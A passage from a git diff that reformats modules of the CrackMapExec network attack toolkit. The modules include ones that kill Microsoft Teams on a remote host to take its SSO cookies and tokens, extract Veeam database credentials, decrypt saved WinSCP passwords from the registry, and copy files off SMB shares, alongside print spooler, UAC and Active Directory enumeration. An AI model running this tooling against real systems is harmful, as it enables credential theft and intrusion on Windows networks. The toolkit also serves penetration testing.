remove the "\\" before the remote host part file_path = str(remote_file)[2:] # The remote_file.file_name contains '/' - file_path = file_path.replace('/', os.path.sep) - file_path = file_path.replace('\\', os.path.sep) + file_path = file_path.replace("/", os.path.sep) + file_path = file_path.replace("\\", os.path.sep) filename = file_path.split(os.path.sep)[-1] - directory = os.path.join(self.output_folder, file_path[:-len(filename)]) + directory = os.path.join(self.output_folder, file_path[: -len(filename)]) # Create the subdirectories based on the share name and file path self.logger.debug(f'Create directory "{directory}"') make_dirs(directory) - with open(os.path.join(directory, filename), 'wb') as fd: + with open(os.path.join(directory, filename), "wb") as fd: while True: chunk = self.read_chunk(remote_file) if not chunk: @@ -281,46 +289,44 @@ class SMBSpiderPlus: # Save the remote host shares metadatas to a json file # TODO: use the json file as an input to save only the new or modified # files since the last time. - path = os.path.join(self.output_folder, f'{self.host}.json') - with open(path, 'w', encoding='utf-8') as fd: + path = os.path.join(self.output_folder, f"{self.host}.json") + with open(path, "w", encoding="utf-8") as fd: fd.write(json.dumps(results, indent=4, sort_keys=True)) class CMEModule: """ - Spider plus module - Module by @vincd + Spider plus module + Module by @vincd """ - name = 'spider_plus' - description = 'List files on the target server (excluding `DIR` directories and `EXT` extensions) and save them to the `OUTPUT` directory if they are smaller then `SIZE`' - supported_protocols = ['smb'] - opsec_safe= True # Does the module touch disk? - multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time? + name = "spider_plus" + description = "List files on the target server (excluding `DIR` directories and `EXT` extensions) and save them to the `OUTPUT` directory if they are smaller then `SIZE`" + supported_protocols = ["smb"] + opsec_safe = True # Does the module touch disk? + multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time? def options(self, context, module_options): - """ - READ_ONLY Only list files and put the name into a JSON (default: True) - EXCLUDE_EXTS Extension file to exclude (Default: ico,lnk) - EXCLUDE_DIR Directory to exclude (Default: print$) - MAX_FILE_SIZE Max file size allowed to dump (Default: 51200) - OUTPUT Path of the remote folder where the dump will occur (Default: /tmp/cme_spider_plus) + READ_ONLY Only list files and put the name into a JSON (default: True) + EXCLUDE_EXTS Extension file to exclude (Default: ico,lnk) + EXCLUDE_DIR Directory to exclude (Default: print$) + MAX_FILE_SIZE Max file size allowed to dump (Default: 51200) + OUTPUT Path of the remote folder where the dump will occur (Default: /tmp/cme_spider_plus) """ - self.read_only = module_options.get('READ_ONLY', True) - self.exclude_exts = get_list_from_option(module_options.get('EXCLUDE_EXTS', 'ico,lnk')) - self.exlude_dirs = get_list_from_option(module_options.get('EXCLUDE_DIR', 'print$')) - self.max_file_size = int(module_options.get('SIZE', 50 * 1024)) - self.output_folder = module_options.get('OUTPUT', os.path.join('/tmp', 'cme_spider_plus')) + self.read_only = module_options.get("READ_ONLY", True) + self.exclude_exts = get_list_from_option(module_options.get("EXCLUDE_EXTS", "ico,lnk")) + self.exlude_dirs = get_list_from_option(module_options.get("EXCLUDE_DIR", "print$")) + self.max_file_size = int(module_options.get("SIZE", 50 * 1024)) + self.output_folder = module_options.get("OUTPUT", os.path.join("/tmp", "cme_spider_plus")) def on_login(self, context, connection): - - context.log.display('Started spidering plus with option:') - context.log.display(' DIR: {dir}'.format(dir=self.exlude_dirs)) - context.log.display(' EXT: {ext}'.format(ext=self.exclude_exts)) - context.log.display(' SIZE: {size}'.format(size=self.max_file_size)) - context.log.display(' OUTPUT: {output}'.format(output=self.output_folder)) + context.log.display("Started spidering plus with option:") + context.log.display(" DIR: {dir}".format(dir=self.exlude_dirs)) + context.log.display(" EXT: {ext}".format(ext=self.exclude_exts)) + context.log.display(" SIZE: {size}".format(size=self.max_file_size)) + context.log.display(" OUTPUT: {output}".format(output=self.output_folder)) spider = SMBSpiderPlus( connection, diff --git a/cme/modules/spooler.py b/cme/modules/spooler.py index ea2ca27d..328d4d6b 100644 --- a/cme/modules/spooler.py +++ b/cme/modules/spooler.py @@ -4,13 +4,16 @@ # https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/rpcdump.py from impacket import uuid from impacket.dcerpc.v5 import transport, epm -from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \ - RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \ - RPC_PROXY_RPC_OUT_DATA_404_ERR +from impacket.dcerpc.v5.rpch import ( + RPC_PROXY_INVALID_RPC_PORT_ERR, + RPC_PROXY_CONN_A1_0X6BA_ERR, + RPC_PROXY_CONN_A1_404_ERR, + RPC_PROXY_RPC_OUT_DATA_404_ERR, +) KNOWN_PROTOCOLS = { - 135: {'bindstr': r'ncacn_ip_tcp:%s[135]'}, - 445: {'bindstr': r'ncacn_np:%s[\pipe\epmapper]'}, + 135: {"bindstr": r"ncacn_ip_tcp:%s[135]"}, + 445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"}, } @@ -19,6 +22,7 @@ class CMEModule: For printnightmare: detect if print spooler is enabled or not. Then use @cube0x0's project https://github.com/cube0x0/CVE-2021-1675 or Mimikatz from Benjamin Delpy Module by @mpgn_x64 """ + name = "spooler" description = "Detect if print spooler is enabled or not" supported_protocols = ["smb"] @@ -36,17 +40,16 @@ class CMEModule: PORT Port to check (defaults to 135) """ self.port = 135 - if 'PORT' in module_options: - self.port = int(module_options['PORT']) + if "PORT" in module_options: + self.port = int(module_options["PORT"]) def on_login(self, context, connection): - entries = [] lmhash = getattr(connection, "lmhash", "") nthash = getattr(connection, "nthash", "") - self.__stringbinding = KNOWN_PROTOCOLS[self.port]['bindstr'] % connection.host - context.log.debug('StringBinding %s' % self.__stringbinding) + self.__stringbinding = KNOWN_PROTOCOLS[self.port]["bindstr"] % connection.host + context.log.debug("StringBinding %s" % self.__stringbinding) rpctransport = transport.DCERPCTransportFactory(self.__stringbinding) rpctransport.set_credentials(connection.username, connection.password, connection.domain, lmhash, nthash) rpctransport.setRemoteHost(connection.host if not connection.kerberos else connection.hostname + "." + connection.domain) @@ -58,51 +61,55 @@ class CMEModule: try: entries = self.__fetch_list(rpctransport) except Exception as e: - error_text = 'Protocol failed: %s' % e + error_text = "Protocol failed: %s" % e context.log.critical(error_text) - if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or \ - RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \ - RPC_PROXY_CONN_A1_404_ERR in error_text or \ - RPC_PROXY_CONN_A1_0X6BA_ERR in error_text: - context.log.critical("This usually means the target does not allow " - "to connect to its epmapper using RpcProxy.") + if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or RPC_PROXY_CONN_A1_404_ERR in error_text or RPC_PROXY_CONN_A1_0X6BA_ERR in error_text: + context.log.critical("This usually means the target does not allow " "to connect to its epmapper using RpcProxy.") return # Display results. endpoints = {} # Let's group the UUIDS for entry in entries: - binding = epm.PrintStringBinding(entry['tower']['Floors']) - tmp_uuid = str(entry['tower']['Floors'][0]) + binding = epm.PrintStringBinding(entry["tower"]["Floors"]) + tmp_uuid = str(entry["tower"]["Floors"][0]) if (tmp_uuid in endpoints) is not True: endpoints[tmp_uuid] = {} - endpoints[tmp_uuid]['Bindings'] = list() + endpoints[tmp_uuid]["Bindings"] = list() if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmp_uuid))[:18] in epm.KNOWN_UUIDS: - endpoints[tmp_uuid]['EXE'] = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmp_uuid))[:18]] + endpoints[tmp_uuid]["EXE"] = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmp_uuid))[:18]] else: - endpoints[tmp_uuid]['EXE'] = 'N/A' - endpoints[tmp_uuid]['annotation'] = entry['annotation'][:-1].decode('utf-8') - endpoints[tmp_uuid]['Bindings'].append(binding) + endpoints[tmp_uuid]["EXE"] = "N/A" + endpoints[tmp_uuid]["annotation"] = entry["annotation"][:-1].decode("utf-8") + endpoints[tmp_uuid]["Bindings"].append(binding) if tmp_uuid[:36] in epm.KNOWN_PROTOCOLS: - endpoints[tmp_uuid]['Protocol'] = epm.KNOWN_PROTOCOLS[tmp_uuid[:36]] + endpoints[tmp_uuid]["Protocol"] = epm.KNOWN_PROTOCOLS[tmp_uuid[:36]] else: - endpoints[tmp_uuid]['Protocol'] = "N/A" - + endpoints[tmp_uuid]["Protocol"] = "N/A" + for endpoint in list(endpoints.keys()): - if "MS-RPRN" in endpoints[endpoint]['Protocol']: - context.log.debug("Protocol: %s " % endpoints[endpoint]['Protocol']) - context.log.debug("Provider: %s " % endpoints[endpoint]['EXE']) - context.log.debug("UUID : %s %s" % (endpoint, endpoints[endpoint]['annotation'])) + if "MS-RPRN" in endpoints[endpoint]["Protocol"]: + context.log.debug("Protocol: %s " % endpoints[endpoint]["Protocol"]) + context.log.debug("Provider: %s " % endpoints[endpoint]["EXE"]) + context.log.debug("UUID : %s %s" % (endpoint, endpoints[endpoint]["annotation"])) context.log.debug("Bindings: ") - for binding in endpoints[endpoint]['Bindings']: + for binding in endpoints[endpoint]["Bindings"]: context.log.debug(" %s" % binding) context.log.debug("") - context.log.highlight('Spooler service enabled') + context.log.highlight("Spooler service enabled") try: host = context.db.get_hosts(connection.host)[0] - context.db.add_host(host.ip, host.hostname, host.domain, host.os, host.smbv1, host.signing, spooler=True) + context.db.add_host( + host.ip, + host.hostname, + host.domain, + host.os, + host.smbv1, + host.signing, + spooler=True, + ) except Exception as e: context.log.debug(f"Error updating spooler status in database") break @@ -122,4 +129,3 @@ class CMEModule: resp = epm.hept_lookup(None, dce=dce) dce.disconnect() return resp - diff --git a/cme/modules/subnets.py b/cme/modules/subnets.py index 83286df1..9ef589a7 100644 --- a/cme/modules/subnets.py +++ b/cme/modules/subnets.py @@ -3,104 +3,114 @@ from impacket.ldap import ldapasn1 as ldapasn1_impacket + def searchResEntry_to_dict(results): data = {} - for attr in results['attributes']: - key = str(attr['type']) - value = str(attr['vals'][0]) + for attr in results["attributes"]: + key = str(attr["type"]) + value = str(attr["vals"][0]) data[key] = value return data + class CMEModule: """ - Retrieves the different Sites and Subnets of an Active Directory + Retrieves the different Sites and Subnets of an Active Directory - Authors: - Podalirius: @podalirius_ + Authors: + Podalirius: @podalirius_ """ def options(self, context, module_options): """ - showservers Toggle printing of servers (default: true) + showservers Toggle printing of servers (default: true) """ self.showservers = True - if module_options and 'SHOWSERVERS' in module_options: - if module_options['SHOWSERVERS'].lower() == "true" or module_options['SHOWSERVERS'] == "1": + if module_options and "SHOWSERVERS" in module_options: + if module_options["SHOWSERVERS"].lower() == "true" or module_options["SHOWSERVERS"] == "1": self.showservers = True - elif module_options['SHOWSERVERS'].lower() == "false" or module_options['SHOWSERVERS'] == "0": + elif module_options["SHOWSERVERS"].lower() == "false" or module_options["SHOWSERVERS"] == "0": self.showservers = False else: print("Could not parse showservers option.") - name = 'subnets' - description = 'Retrieves the different Sites and Subnets of an Active Directory' - supported_protocols = ['ldap'] + name = "subnets" + description = "Retrieves the different Sites and Subnets of an Active Directory" + supported_protocols = ["ldap"] opsec_safe = True multiple_hosts = False def on_login(self, context, connection): - dn = ','.join(["DC=%s" % part for part in connection.domain.split('.')][-2:]) + dn = ",".join(["DC=%s" % part for part in connection.domain.split(".")][-2:]) - context.log.display('Getting the Sites and Subnets from domain') + context.log.display("Getting the Sites and Subnets from domain") list_sites = connection.ldapConnection.search( searchBase="CN=Configuration,%s" % dn, - searchFilter='(objectClass=site)', - attributes=['distinguishedName', 'name', 'description'], - sizeLimit=999 + searchFilter="(objectClass=site)", + attributes=["distinguishedName", "name", "description"], + sizeLimit=999, ) for site in list_sites: if isinstance(site, ldapasn1_impacket.SearchResultEntry) is not True: continue site = searchResEntry_to_dict(site) - site_dn = site['distinguishedName'] - site_name = site['name'] + site_dn = site["distinguishedName"] + site_name = site["name"] site_description = "" if "description" in site.keys(): - site_description = site['description'] + site_description = site["description"] # Getting subnets of this site list_subnets = connection.ldapConnection.search( searchBase="CN=Sites,CN=Configuration,%s" % dn, - searchFilter='(siteObject=%s)' % site_dn, - attributes=['distinguishedName', 'name'], - sizeLimit=999 + searchFilter="(siteObject=%s)" % site_dn, + attributes=["distinguishedName", "name"], + sizeLimit=999, ) if len([subnet for subnet in list_subnets if isinstance(subnet, ldapasn1_impacket.SearchResultEntry)]) == 0: - context.log.highlight("Site \"%s\"" % site_name) + context.log.highlight('Site "%s"' % site_name) else: for subnet in list_subnets: if isinstance(subnet, ldapasn1_impacket.SearchResultEntry) is not True: continue subnet = searchResEntry_to_dict(subnet) - subnet_dn = subnet['distinguishedName'] - subnet_name = subnet['name'] + subnet_dn = subnet["distinguishedName"] + subnet_name = subnet["name"] if self.showservers: # Getting machines in these subnets list_servers = connection.ldapConnection.search( searchBase=site_dn, - searchFilter='(objectClass=server)', - attributes=['cn'], - sizeLimit=999 + searchFilter="(objectClass=server)", + attributes=["cn"], + sizeLimit=999, ) if len([server for server in list_servers if isinstance(server, ldapasn1_impacket.SearchResultEntry)]) == 0: if len(site_description) != 0: - context.log.highlight("Site \"%s\" (Subnet:%s) (description:\"%s\")" % (site_name, subnet_name, site_description)) + context.log.highlight('Site "%s" (Subnet:%s) (description:"%s")' % (site_name, subnet_name, site_description)) else: - context.log.highlight("Site \"%s\" (Subnet:%s)" % (site_name, subnet_name)) + context.log.highlight('Site "%s" (Subnet:%s)' % (site_name, subnet_name)) else: for server in list_servers: if isinstance(server, ldapasn1_impacket.SearchResultEntry) is not True: continue - server = searchResEntry_to_dict(server)['cn'] + server = searchResEntry_to_dict(server)["cn"] if len(site_description) != 0: - context.log.highlight("Site \"%s\" (Subnet:%s) (description:\"%s\") (Server:%s)" % (site_name, subnet_name, site_description, server)) + context.log.highlight( + 'Site "%s" (Subnet:%s) (description:"%s") (Server:%s)' + % ( + site_name, + subnet_name, + site_description, + server, + ) + ) else: - context.log.highlight("Site \"%s\" (Subnet:%s) (Server:%s)" % (site_name, subnet_name, server)) + context.log.highlight('Site "%s" (Subnet:%s) (Server:%s)' % (site_name, subnet_name, server)) else: if len(site_description) != 0: - context.log.highlight("Site \"%s\" (Subnet:%s) (description:\"%s\")" % (site_name, subnet_name, site_description)) + context.log.highlight('Site "%s" (Subnet:%s) (description:"%s")' % (site_name, subnet_name, site_description)) else: - context.log.highlight("Site \"%s\" (Subnet:%s)" % (site_name, subnet_name)) + context.log.highlight('Site "%s" (Subnet:%s)' % (site_name, subnet_name)) diff --git a/cme/modules/teams_localdb.py b/cme/modules/teams_localdb.py index e439d17d..11d03798 100644 --- a/cme/modules/teams_localdb.py +++ b/cme/modules/teams_localdb.py @@ -5,45 +5,43 @@ import sqlite3 class CMEModule: - - name = 'teams_localdb' + name = "teams_localdb" description = "Retrieves the cleartext ssoauthcookie from the local Microsoft Teams database, if teams is open we kill all Teams process" - supported_protocols = ['smb'] + supported_protocols = ["smb"] opsec_safe = True multiple_hosts = False def options(self, context, module_options): - """ - """ + """ """ def on_admin_login(self, context, connection): - context.log.display('Killing all Teams process to open the cookie file') + context.log.display("Killing all Teams process to open the cookie file") connection.execute("taskkill /F /T /IM teams.exe") - #sleep(3) + # sleep(3) found = 0 - paths = connection.spider('C$', folder='Users', regex=['[a-zA-Z0-9]*'], depth=0) - with open("/tmp/teams_cookies2.txt","wb") as f: + paths = connection.spider("C$", folder="Users", regex=["[a-zA-Z0-9]*"], depth=0) + with open("/tmp/teams_cookies2.txt", "wb") as f: for path in paths: try: - connection.conn.getFile('C$', path + "/AppData/Roaming/Microsoft/Teams/Cookies", f.write) + connection.conn.getFile("C$", path + "/AppData/Roaming/Microsoft/Teams/Cookies", f.write) context.log.highlight("Found Cookie file in path " + path) found = 1 - self.parse_file(context, 'skypetoken_asm') - self.parse_file(context, 'SSOAUTHCOOKIE') + self.parse_file(context, "skypetoken_asm") + self.parse_file(context, "SSOAUTHCOOKIE") f.seek(0) f.trunkate() except Exception as e: - if 'STATUS_SHARING_VIOLATION' in str(e): + if "STATUS_SHARING_VIOLATION" in str(e): context.log.debug(str(e)) context.log.highlight("Found Cookie file in path " + path) - context.log.fail('Cannot retrieve file, most likely Teams is running which prevents us from retrieving the Cookies database') + context.log.fail("Cannot retrieve file, most likely Teams is running which prevents us from retrieving the Cookies database") if found == 0: - context.log.display('No cookie file found in Users folder') + context.log.display("No cookie file found in Users folder") @staticmethod def parse_file(context, name): try: - conn = sqlite3.connect('/tmp/teams_cookies2.txt') + conn = sqlite3.connect("/tmp/teams_cookies2.txt") c = conn.cursor() c.execute("SELECT value FROM cookies WHERE name = '" + name + "'") row = c.fetchone() diff --git a/cme/modules/test_connection.py b/cme/modules/test_connection.py index 701bd657..d0f330e5 100644 --- a/cme/modules/test_connection.py +++ b/cme/modules/test_connection.py @@ -3,38 +3,41 @@ from sys import exit + class CMEModule: """ - Executes the Test-Connection PowerShell cmdlet - Module by @byt3bl33d3r + Executes the Test-Connection PowerShell cmdlet + Module by @byt3bl33d3r """ - name = 'test_connection' + name = "test_connection" description = "Pings a host" - supported_protocols = ['smb', 'mssql'] + supported_protocols = ["smb", "mssql"] opsec_safe = True multiple_hosts = True def options(self, context, module_options): """ - HOST Host to ping + HOST Host to ping """ self.host = None - if 'HOST' not in module_options: - context.log.fail('HOST option is required!') + if "HOST" not in module_options: + context.log.fail("HOST option is required!") exit(1) - self.host = module_options['HOST'] + self.host = module_options["HOST"] def on_admin_login(self, context, connection): - command = 'Test-Connection {} -quiet -count 1'.format(self.host) + # $ProgressPreference = 'SilentlyContinue' prevents the "preparing modules for the first time" error + command = f"$ProgressPreference = 'SilentlyContinue'; Test-Connection {self.host} -quiet -count 1" - output = connection.ps_execute(command, get_output=True) + output = connection.ps_execute(command, get_output=True)[0] - if output: - output = output.strip() - if bool(output) is True: - context.log.success('Pinged successfully') - elif bool(output) is False: - context.log.fail('Host unreachable') + context.log.debug(f"Output: {output}") + context.log.debug(f"Type: {type(output)}") + + if output == "True": + context.log.success("Pinged successfully") + else: + context.log.fail("Host unreachable") diff --git a/cme/modules/uac.py b/cme/modules/uac.py index cbf0d362..f57c731c 100644 --- a/cme/modules/uac.py +++ b/cme/modules/uac.py @@ -19,23 +19,26 @@ class CMEModule: logging.debug("test") def options(self, context, module_options): - """ - """ + """ """ def on_admin_login(self, context, connection): remoteOps = RemoteOperations(connection.conn, False) remoteOps.enableRegistry() ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) - regHandle = ans['phKey'] - ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System') - keyHandle = ans['phkResult'] - dataType, uac_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'EnableLUA') + regHandle = ans["phKey"] + ans = rrp.hBaseRegOpenKey( + remoteOps._RemoteOperations__rrp, + regHandle, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", + ) + keyHandle = ans["phkResult"] + dataType, uac_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "EnableLUA") if uac_value == 1: - context.log.highlight('UAC Status: 1 (UAC Enabled)') + context.log.highlight("UAC Status: 1 (UAC Enabled)") elif uac_value == 0: - context.log.highlight('UAC Status: 0 (UAC Disabled)') + context.log.highlight("UAC Status: 0 (UAC Disabled)") rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle) remoteOps.finish() diff --git a/cme/modules/user_desc.py b/cme/modules/user_desc.py index c2ab62c7..bf127e18 100644 --- a/cme/modules/user_desc.py +++ b/cme/modules/user_desc.py @@ -13,6 +13,7 @@ class CMEModule: Module by Tobias Neitzel (@qtc_de) """ + name = "user-desc" description = "Get user descriptions stored in Active Directory" supported_protocols = ["ldap"] @@ -41,31 +42,31 @@ class CMEModule: self.desc_count = 0 self.context = context self.account_names = set() - self.keywords = {'pass', 'creds', 'creden', 'key', 'secret', 'default'} + self.keywords = {"pass", "creds", "creden", "key", "secret", "default"} - if 'LDAP_FILTER' in module_options: + if "LDAP_FILTER" in module_options: self.search_filter = module_options["LDAP_FILTER"] else: self.search_filter = "(&(objectclass=user)" - if 'DESC_FILTER' in module_options: + if "DESC_FILTER" in module_options: self.search_filter += f"(description={module_options['DESC_FILTER']})" - if 'DESC_INVERT' in module_options: + if "DESC_INVERT" in module_options: self.search_filter += f"(!(description={module_options['DESC_INVERT']}))" - if 'USER_FILTER' in module_options: + if "USER_FILTER" in module_options: self.search_filter += f"(sAMAccountName={module_options['USER_FILTER']})" - if 'USER_INVERT' in module_options: + if "USER_INVERT" in module_options: self.search_filter += f"(!(sAMAccountName={module_options['USER_INVERT']}))" self.search_filter += ")" - if 'KEYWORDS' in module_options: - self.keywords = set(module_options['KEYWORDS'].split(',')) - elif 'ADD_KEYWORDS' in module_options: - add_keywords = set(module_options['ADD_KEYWORDS'].split(',')) + if "KEYWORDS" in module_options: + self.keywords = set(module_options["KEYWORDS"].split(",")) + elif "ADD_KEYWORDS" in module_options: + add_keywords = set(module_options["ADD_KEYWORDS"].split(",")) self.keywords = self.keywords.union(add_keywords) def on_login(self, context, connection): @@ -80,10 +81,10 @@ class CMEModule: sc = ldap.SimplePagedResultsControl() connection.ldapConnection.search( searchFilter=self.search_filter, - attributes=['sAMAccountName', 'description'], + attributes=["sAMAccountName", "description"], sizeLimit=0, searchControls=[sc], - perRecordCallback=self.process_record + perRecordCallback=self.process_record, ) except LDAPSearchError as e: context.log.fail(f"Obtained unexpected exception: {str(e)}") @@ -95,10 +96,10 @@ class CMEModule: Create a log file for dumping user descriptions. """ logfile = f"UserDesc-{host}-{time}.log" - logfile = Path.home().joinpath('.cme').joinpath('logs').joinpath(logfile) + logfile = Path.home().joinpath(".cme").joinpath("logs").joinpath(logfile) self.context.log.info(f"Creating log file '{logfile}'") - self.log_file = open(logfile, 'w') + self.log_file = open(logfile, "w") self.append_to_log("User:", "Description:") def delete_log_file(self): @@ -133,18 +134,17 @@ class CMEModule: if not isinstance(item, ldapasn1.SearchResultEntry): return - sAMAccountName = '' - description = '' + sAMAccountName = "" + description = "" try: - for attribute in item['attributes']: - - if str(attribute['type']) == 'sAMAccountName': - sAMAccountName = attribute['vals'][0].asOctets().decode('utf-8') - elif str(attribute['type']) == 'description': - description = attribute['vals'][0].asOctets().decode('utf-8') + for attribute in item["attributes"]: + if str(attribute["type"]) == "sAMAccountName": + sAMAccountName = attribute["vals"][0].asOctets().decode("utf-8") + elif str(attribute["type"]) == "description": + description = attribute["vals"][0].asOctets().decode("utf-8") except Exception as e: - entry = sAMAccountName or 'item' + entry = sAMAccountName or "item" self.context.error(f"Skipping {entry}, cannot process LDAP entry due to error: '{str(e)}'") if description and sAMAccountName not in self.account_names: diff --git a/cme/modules/veeam_dump.py b/cme/modules/veeam_dump.py index a42f7cac..b8c850cc 100644 --- a/cme/modules/veeam_dump.py +++ b/cme/modules/veeam_dump.py @@ -10,19 +10,21 @@ import traceback from base64 import b64encode from cme.helpers.powershell import get_ps_script + class CMEModule: """ - Module by @NeffIsBack + Module by @NeffIsBack """ - name = 'veeam' - description = 'Extracts credentials from local Veeam SQL Database' - supported_protocols = ['smb'] - opsec_safe= True + + name = "veeam" + description = "Extracts credentials from local Veeam SQL Database" + supported_protocols = ["smb"] + opsec_safe = True multiple_hosts = True def __init__(self): - with open(get_ps_script('veeam_dump_module/veeam-creds_dump.ps1'), 'r') as psFile: + with open(get_ps_script("veeam_dump_module/veeam-creds_dump.ps1"), "r") as psFile: self.psScript = psFile.read() def options(self, context, module_options): @@ -36,23 +38,27 @@ class CMEModule: SqlDatabase = "" SqlInstance = "" SqlServer = "" - + try: remoteOps = RemoteOperations(connection.conn, False) remoteOps.enableRegistry() ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) - regHandle = ans['phKey'] - - ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Veeam\\Veeam Backup and Replication') - keyHandle = ans['phkResult'] + regHandle = ans["phKey"] - SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'SqlDatabaseName')[1].split('\x00')[:-1][0] - SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'SqlInstanceName')[1].split('\x00')[:-1][0] - SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'SqlServerName')[1].split('\x00')[:-1][0] + ans = rrp.hBaseRegOpenKey( + remoteOps._RemoteOperations__rrp, + regHandle, + "SOFTWARE\\Veeam\\Veeam Backup and Replication", + ) + keyHandle = ans["phkResult"] + + SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0] + SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0] + SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0] except DCERPCException as e: - if str(e).find('ERROR_FILE_NOT_FOUND'): + if str(e).find("ERROR_FILE_NOT_FOUND"): context.log.fail("No Veeam installation found") except: context.log.fail("UNEXPECTED ERROR:") @@ -60,7 +66,7 @@ class CMEModule: finally: remoteOps.finish() return [SqlDatabase, SqlInstance, SqlServer] - + def stripXmlOutput(self, context, output): return output.split("CLIXML")[1].split(" "Tuple[int, bytes]": @@ -119,7 +124,7 @@ class CMEModule: a = passBytes[0] b = passBytes[1] passBytes = passBytes[2:] - return ~(((a << 4) + b) ^ self.PW_MAGIC) & 0xff, passBytes + return ~(((a << 4) + b) ^ self.PW_MAGIC) & 0xFF, passBytes # ==================== Handle Registry ==================== def registrySessionExtractor(self, context, connection, userObject, sessionName): @@ -131,15 +136,19 @@ class CMEModule: remoteOps.enableRegistry() ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp) - regHandle = ans['phKey'] + regHandle = ans["phKey"] - ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, userObject + '\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\' + sessionName) - keyHandle = ans['phkResult'] + ans = rrp.hBaseRegOpenKey( + remoteOps._RemoteOperations__rrp, + regHandle, + userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\" + sessionName, + ) + keyHandle = ans["phkResult"] - hostName = unquote(rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'HostName')[1].split('\x00')[:-1][0]) - userName = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UserName')[1].split('\x00')[:-1][0] + hostName = unquote(rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "HostName")[1].split("\x00")[:-1][0]) + userName = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "UserName")[1].split("\x00")[:-1][0] try: - password = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'Password')[1].split('\x00')[:-1][0] + password = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "Password")[1].split("\x00")[:-1][0] except: context.log.debug("Session found but no Password is stored!") password = "" @@ -170,23 +179,23 @@ class CMEModule: # Enumerate all logged in and loaded Users on System ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp) - regHandle = ans['phKey'] + regHandle = ans["phKey"] - ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, '') - keyHandle = ans['phkResult'] + ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "") + keyHandle = ans["phkResult"] data = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, keyHandle) - users = data['lpcSubKeys'] + users = data["lpcSubKeys"] # Get User Names userNames = [] for i in range(users): - userNames.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)['lpNameOut'].split('\x00')[:-1][0]) + userNames.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)["lpNameOut"].split("\x00")[:-1][0]) rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle) # Filter legit users in regex - userNames.remove('.DEFAULT') - regex = re.compile(r'^.*_Classes$') + userNames.remove(".DEFAULT") + regex = re.compile(r"^.*_Classes$") userObjects = [i for i in userNames if not regex.match(i)] except: context.log.fail("Error handling Users in registry") @@ -207,17 +216,21 @@ class CMEModule: # Enumerate all Users on System ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) - regHandle = ans['phKey'] + regHandle = ans["phKey"] - ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList') - keyHandle = ans['phkResult'] + ans = rrp.hBaseRegOpenKey( + remoteOps._RemoteOperations__rrp, + regHandle, + "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList", + ) + keyHandle = ans["phkResult"] data = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, keyHandle) - users = data['lpcSubKeys'] + users = data["lpcSubKeys"] # Get User Names for i in range(users): - userObjects.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)['lpNameOut'].split('\x00')[:-1][0]) + userObjects.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)["lpNameOut"].split("\x00")[:-1][0]) rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle) except: 